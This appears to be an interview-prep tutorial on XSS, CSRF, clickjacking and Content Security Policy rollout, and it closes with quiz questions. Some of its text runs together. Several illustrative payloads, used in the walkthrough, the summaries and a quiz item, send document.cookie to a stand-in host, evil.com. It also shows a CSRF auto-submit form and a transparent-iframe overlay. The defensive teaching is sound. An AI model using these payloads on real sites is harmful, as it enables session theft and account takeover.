Attack taxonomy, defense-in-depth, and Content Security Policy from directives to nonce/hash rollout.
XSS = an attacker gets their JavaScript to execute in a victim's browser, in your origin's context. That JS runs with full access to cookies (unless HttpOnly), DOM, localStorage, and the ability to make credentialed requests. The three types differ in where the payload lives.
<script>steal()</script> instead of the raw tag. When served back in an HTML body context, the browser renders it as literal text — not executable. XSS blocked in that context.var q = "{{userInput}}" — HTML encoding does nothing. You need JS string escaping for JS contexts, URL encoding for URL parameters, CSS encoding for CSS values. This is why output encoding is layer 2 of the four-layer XSS defense, not a complete solution on its own.
innerHTML, unescaped template)'unsafe-inline'{{ }})dangerouslySetInnerHTML, v-html){val} auto-escapes — safe by default; only dangerouslySetInnerHTML bypasses it. Vue {{ val }} auto-escapes; v-html is dangerous. Angular template interpolation sanitizes automatically. Jinja2 / Twig / Blade auto-escape by default; {{ val | safe }} or {!! val !!} disables it. Most XSS bugs come from deliberately bypassing these defaults — audit every raw output call.?q=<script>steal()</script> · ② Alice's browser requests the page · ③ server reflects the payload unencoded → executes in Alice's browserexample.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script> and embeds it in a phishing email as a shortened URL.GET /search?q=<script>...</script> to example.com with her session cookie attached (normal browser behaviour).q param directly into HTML without encoding: <p>Results for: <script>fetch(...)</script></p>. The page looks normal to Alice.<script> tag, and executes the code as example.com origin — same trust as platform's own JS.document.cookie returns all non-HttpOnly cookies for example.com: "session=abc123; _ga=UA-xxx". HttpOnly cookies are invisible to JS — that's why HttpOnly is a key defense.fetch('https://evil.com?c=session%3Dabc123...') sends them to the attacker's server. Attacker reads the request log, extracts session=abc123.Cookie: session=abc123 in their browser. They are now logged in as Alice — without ever knowing her password.< → <)document.cookie can't read itconnect-src blocks fetch to attacker's domaininnerHTML (e.g., rich-text editors, markdown renderers). These need DOMPurify or Trusted Types even if the server-side framework is safe.example.com/page#<img onerror=steal()> · ② client JS reads hash → writes to innerHTML (dangerous sink) — server never involvedtextContent not innerHTML, or sanitize with DOMPurify.location.hash, postMessage, localStorage)innerHTML, eval, script.src) without sanitizingtextContent instead of innerHTML for plain textTrustedHTML objects are accepteddocument.getElementById('el').innerHTML = new URLSearchParams(location.search).get('q'), no framework will save you. DOM XSS requires auditing every JS source→sink data flow, not just template output.Payload is in the request URL; server reflects it into the response without encoding. Attacker crafts a link and tricks the victim into clicking it. Not persisted — each victim needs a fresh URL.
?q=<script>fetch('evil.com?c='+document.cookie)</script>
Payload stored in the DB (comment, profile name, review). Served to every user who views that content. No crafted URL needed — the script runs passively for anyone who loads the page.
Most dangerous. A hotel review field on example.com that echoes unencoded HTML = all future viewers attacked.
Pure client-side. JS reads from an attacker-controlled source and writes to a dangerous sink. The payload never touches the server — it's invisible to WAFs, server logs, and server-side encoding.
div.innerHTML = location.hash.slice(1)
Any path from a source to a sink without sanitization is a DOM XSS vulnerability.
location.hash, location.searchdocument.referrer, window.namepostMessage datalocalStorage / sessionStorageelement.innerHTML / outerHTMLdocument.write()eval(), setTimeout(string)script.src, a.href = "javascript:…"#)
which browsers never send to the server, or via postMessage, or
is read from localStorage. The server never sees it.
The fix is client-side: use textContent instead of innerHTML, or
sanitize with DOMPurify before writing to any sink.
CSRF is a different attack: the victim's browser is tricked into sending a credentialed request to your server. The attacker doesn't inject code — they just make the browser send a request. CSP does not prevent CSRF.
Cookie: session=abc (your stamp) · server sees valid session, proceeds<form action="https://example.com/transfer" method="POST"> that auto-submits · ② browser auto-attaches Cookie: session=abc — your stamp, no questions asked · ③ server sees a valid session and can't tell it was forgedSameSite=Lax tells the browser "pocket the stamp for cross-site POST requests." The form fires but the cookie stays home. Server gets an unauthenticated request → rejected.SameSite=None or not set (older browser default sends on cross-site)Origin / Referer header validation on the serverSameSite=Lax — browser withholds cookie on cross-site POSTContent-Type: application/json — HTML forms cannot set this; browser issues a CORS preflight which the server can reject{% csrf_token %}). Rails protect_from_forgery on by default. Spring Security CSRF protection on by default for state-changing methods. Express / Next.js API routes have no built-in CSRF protection — must add csrf middleware explicitly.
SameSite=Lax on session cookies — browser won't auto-send cookies on cross-site POSTs or background requests.X-CSRF-Token header) or double-submit cookie.X-Requested-With) trigger a preflight for cross-origin requests — simple forms can't forge them. Weak but useful as belt-and-suspenders.XSS = attacker runs code in your origin. CSRF = attacker uses your browser to make requests. Different threats, different defenses — SameSite for CSRF, encode+CSP for XSS.
Clickjacking is a visual deception attack. The attacker loads your page inside a transparent iframe on their site, positioned precisely over their own UI. The victim believes they are clicking the attacker's button — but they are actually clicking your page, triggering real actions while logged in as themselves.
frame-ancestors 'none' on the checkout page — browser refuses to render example.com inside any iframe at all. The hidden layer can't exist. No glass, no trick.frame-ancestors or X-Frame-Options header — page can be framed by anyoneframe-ancestors 'none' — browser refuses to load the page inside any iframeX-Frame-Options: SAMEORIGIN by default via XFrameOptionsMiddleware. Spring Security sets X-Frame-Options: DENY by default. Helmet.js (Express) sets SAMEORIGIN via frameguard(). Rails has no default — must configure manually. Note: frame-ancestors in CSP takes precedence over X-Frame-Options in modern browsers — prefer CSP, include X-Frame-Options as a legacy fallback.evil.com with a large button: "Click to claim your prize"<iframe src="example.com/checkout/confirm" style="opacity:0; position:absolute"> — sized so the "Confirm Payment" button aligns exactly with the prize buttonframe-ancestors
The frame-ancestors CSP directive tells the browser which origins may embed your page
in an <iframe>. If the embedding origin does not match, the browser refuses
to render the frame at all — the overlay never exists.
| Value | Who can embed your page | Use for |
|---|---|---|
frame-ancestors 'none' | Nobody | Payment, admin, account deletion — should never be embedded |
frame-ancestors 'self' | Same origin only | Most app pages — blocks all external attackers |
frame-ancestors https://partner.com | Specific trusted origin | Booking widget legitimately embedded on a partner site |
frame-ancestors (CSP)Part of the CSP header. Supports 'none', 'self', and specific origins. Granular per-page control. Overrides X-Frame-Options when both are present.
X-Frame-OptionsSAMEORIGIN = 'self'. DENY = 'none'. ALLOW-FROM is broken in most browsers. Include it alongside frame-ancestors only for old-browser coverage.
frame-ancestors is the only defense.
Clickjacking wraps your page in a transparent iframe. frame-ancestors 'none' on payment and admin pages — nobody can frame you, no click can be hijacked.
Defense-in-depth: each layer catches what the previous one misses. All four are needed.
javascript: from href values. But input validation alone is insufficient — encoding context is what actually prevents injection.< > & ". JS context: \uXXXX unicode escapes. URL context: percent-encoding. CSS context: hex encoding. Wrong encoding for wrong context = bypass. HTML-entity-encoding a value inside a <script> tag does not protect it.<script> tags entirely. Cannot be bypassed by an injected script if correctly configured.XSS injects code that runs as you. Encode output in the right context to prevent it; CSP limits the damage if encoding fails.
CSP is an HTTP response header. It tells the browser an allowlist of what it may load and execute. Anything not on the allowlist is blocked and (optionally) reported.
Content-Security-Policy:
default-src 'self';
script-src 'nonce-r4nd0m' 'strict-dynamic';
style-src 'self' 'nonce-r4nd0m';
img-src 'self' https://cdn.example.com data:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.gstatic.com;
object-src 'none';
base-uri 'self';
frame-ancestors 'self';
report-uri /csp-violations;
'self' — only same-origin resources.'nonce-…' or 'sha256-…' — never 'unsafe-inline'.<base href="…"> injection from redirecting all relative URLs to an attacker domain.<iframe>. 'self' blocks clickjacking. Replaces the old X-Frame-Options header.fetch, XHR, and WebSocket destinations. Prevents exfiltration — injected JS can't fetch('evil.com?c='+cookie) if that origin isn't listed.
A nonce (number used once) is a cryptographically random value the server generates
fresh for every response. It is embedded in the CSP header and on every trusted
<script> tag. The browser executes only scripts whose nonce
attribute matches the header value.
nonce = crypto.randomBytes(16).toString('base64') per requestContent-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'<script nonce="abc123">…</script><script>steal()</script> — no nonce attribute → blocked-- Server (Express example) --
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`);
-- HTML template --
<script nonce="<%= nonce %>">
/* your inline bootstrap */
</script>
<script nonce="<%= nonce %>" src="/bundle.js"></script>
When you can't generate a per-request nonce (CDN-cached static HTML with no SSR), use a hash. The browser SHA-256-hashes each inline script's content and checks it against the CSP header. No server randomness needed — but the hash must be recomputed whenever the script content changes.
| Nonce | Hash | |
|---|---|---|
| Requires SSR | Yes | No — static OK |
| CDN-cacheable HTML | No (without edge fn) | Yes |
| Script content changes | Nonce unchanged | Must recompute hash |
Covers external src= | Yes | No |
Without 'strict-dynamic', scripts loaded by your trusted scripts are blocked.
Your nonce-whitelisted bundle runs but when it does
document.createElement('script') to lazy-load a chunk, that new script has no nonce
and is blocked. This breaks any bundler that code-splits.
'strict-dynamic' propagates trust: scripts created by a nonce-trusted script
inherit that trust and are allowed to execute.
Content-Security-Policy:
script-src 'nonce-abc123' 'strict-dynamic'
'unsafe-inline' http: https:;
-- ↑ The last two are fallbacks for old browsers that don't understand strict-dynamic.
Supporting browsers IGNORE 'unsafe-inline' and host allowlists when strict-dynamic is present.
Scripts dynamically created by a nonce-trusted script (e.g., lazy-loaded chunks, third-party tag managers that load sub-scripts).
Injected <script> tags — they weren't created by a trusted script. An attacker can't create a "trusted" script without already having code execution.
Nonce + strict-dynamic is the modern CSP pattern: one per-request random value locks inline scripts; strict-dynamic lets your own bundles load sub-scripts without an exhaustive allowlist.
Enforcing a new CSP on a large app blindly will break things. The safe path: deploy in report-only mode first, collect violations, fix them, then flip to enforcement.
-- Phase 1: observe (no blocking) --
Content-Security-Policy-Report-Only:
script-src 'nonce-abc123' 'strict-dynamic'; report-uri /csp-violations
-- Phase 2: enforce --
Content-Security-Policy:
script-src 'nonce-abc123' 'strict-dynamic'; report-uri /csp-violations
Report-Only header. Scripts still execute — no user-visible breakage./csp-violations reports. Triage: legitimate scripts missing nonces (fix them) vs actual injections (you just found real XSS).connect-src for your analytics domains.report-uri active to catch regressions.'unsafe-inline'":
'unsafe-inline' in script-src allows all inline scripts — including injected ones.
It completely negates XSS protection. It's a common first-pass mistake when teams audit their
CSP violations and just allowlist everything they see. The goal is to remove
'unsafe-inline' by converting inline scripts to nonce or external files, not to add it
to silence reports.
Exception: 'unsafe-inline' is silently ignored when 'strict-dynamic'
is present in supporting browsers — it's a fallback for IE11 only.
'strict-dynamic' + nonce lets the tag manager load sub-scripts without allowlisting every CDN. One trusted entry-point, everything below inherits.frame-ancestors 'self' blocks payment page from being embedded in a malicious iframe.connect-src list (your own APIs, analytics domains) means fetch('evil.com?c='+cookie) is blocked at the network layer.script-src violations = active injection attempt or a compromised third-party script. Treat it like an alert.Concept: XSS = three types (reflected/stored/DOM); defense = four layers in order (sanitize → encode → HttpOnly → CSP), and CSP with nonce + strict-dynamic is the second line that blocks execution even when encoding fails. Trade-off: nonce-based CSP requires SSR or edge rendering (you can't mint per-request random nonces from a CDN-cached static page), hash works for static but breaks on any script change, and Report-Only mode is non-negotiable before enforcement on a large app. Anchor: "Auditing CSP violations in report-only mode, we found a third-party analytics script dynamically loading six sub-scripts — all blocked; adding 'strict-dynamic' fixed it without opening up the whole script-src, and we caught two real XSS attempts in the violations pipeline that would have executed without CSP." Impact: a missing nonce on one inline script is a full auth bypass if XSS fires — CSP converts "token theft → persistent account access" into "blocked script → nothing happens." Invite: "I'd revisit the static-vs-nonce trade-off if we moved to full edge rendering — a Cloudflare Worker can mint nonces per request, giving nonce-based CSP even for CDN-cached pages."
0 / 7
A user posts a hotel review: <script>fetch('https://evil.com?c='+document.cookie)</script>. Every subsequent visitor's cookies are sent to the attacker. What type of XSS is this?
Your code: document.getElementById('msg').innerHTML = location.hash.slice(1). An attacker sends the URL example.com/page#<img src=x onerror=alert(1)>. Your server encodes all output. Does the attack succeed?
Your CSP header includes script-src 'nonce-xyz789'. An attacker exploits a Stored XSS vulnerability and injects <script>steal()</script> into the page. Does the injected script execute?
Your CSP is script-src 'nonce-abc123' (no 'strict-dynamic'). Your React bundle is nonce-tagged and loads. It then calls import('./LazyRoute.js') which creates a new <script> tag dynamically. What happens?
What is the difference between Content-Security-Policy and Content-Security-Policy-Report-Only?
Your CSP has script-src 'nonce-abc' 'strict-dynamic' 'unsafe-inline'. A browser that supports strict-dynamic encounters an inline script without a nonce. Does it execute?
Why does frame-ancestors 'self' in your CSP protect the checkout page?
Whiteboard prompt: "A security team audit flags that example.com has no CSP and several pages echo user-supplied data into the DOM. Walk me through: the three types of XSS exposure you'd look for, how you'd defend against each, and how you'd roll out a CSP across a large app with dozens of third-party scripts without breaking production."
Hit: stored/reflected/DOM (different fix points) → encode output in context → DOMPurify for HTML sinks → CSP report-only first → nonce+strict-dynamic → fix violations over 1–2 weeks → flip to enforcement → keep report-uri as ongoing alert.
Good follow-up topics: